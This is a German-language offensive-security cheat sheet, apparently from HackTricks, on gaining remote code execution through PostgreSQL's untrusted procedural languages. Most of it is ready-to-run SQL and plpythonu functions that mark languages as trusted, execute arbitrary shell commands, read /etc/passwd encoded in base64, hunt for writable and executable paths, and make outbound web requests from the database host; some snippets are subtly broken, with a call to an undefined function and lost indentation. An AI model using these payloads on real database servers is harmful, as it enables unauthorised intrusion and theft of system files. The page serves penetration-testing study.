RCE with PostgreSQL Languages

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL-Sprachen

Die PostgreSQL-Datenbank, auf die Sie Zugriff haben, kann verschiedene Skriptsprachen installiert haben, die Sie missbrauchen könnten, um beliebigen Code auszuführen.

Sie können sie ausführen:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meisten Skriptsprachen, die Sie in PostgreSQL installieren können, haben 2 Varianten: die vertrauenswürdige und die unvertrauenswürdige. Die unvertrauenswürdige Variante hat einen Namen, der mit "u" endet, und ist die Version, mit der Sie Code ausführen und andere interessante Funktionen nutzen können. Hier sind einige Sprachen, die interessant sein könnten, wenn sie installiert sind:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (jede andere Programmiersprache, die eine unsichere Version verwendet)

Wenn Sie feststellen, dass eine interessante Sprache installiert ist, aber von PostgreSQL als unvertrauenswürdig eingestuft wird (lanpltrusted ist false), können Sie versuchen, sie mit der folgenden Zeile zu vertrauen, damit von PostgreSQL keine Einschränkungen mehr gelten:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie zu laden (Sie müssen Superadmin sein):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Um Remote Code Execution (RCE) mit plpythonu/plpython3u in PostgreSQL zu erreichen, müssen Sie die folgenden Schritte ausführen:

  1. Überprüfen Sie, ob die Sprachen plpythonu oder plpython3u installiert sind, indem Sie den Befehl SELECT * FROM pg_language; ausführen.

  2. Wenn die Sprachen installiert sind, erstellen Sie eine Funktion mit dem gewünschten Code. Zum Beispiel:

CREATE OR REPLACE FUNCTION rce() RETURNS VOID AS $$
import os
os.system('id > /tmp/rce')
$$ LANGUAGE plpythonu;
  1. Führen Sie die Funktion aus, indem Sie den Befehl SELECT rce(); ausführen.

  2. Überprüfen Sie, ob der Code ausgeführt wurde, indem Sie den Inhalt der Datei /tmp/rce überprüfen.

Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie hier ein Beispiel. Es lohnt sich also immer zu versuchen, Code auszuführen, auch wenn nur die vertrauenswürdige Version installiert ist.

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

Finde exec durch Substitutionen

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

pgSQL

Überprüfen Sie die folgende Seite:

pagePL/pgSQL Password Bruteforce

C

Überprüfen Sie die folgende Seite:

pageRCE with PostgreSQL Extensions
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated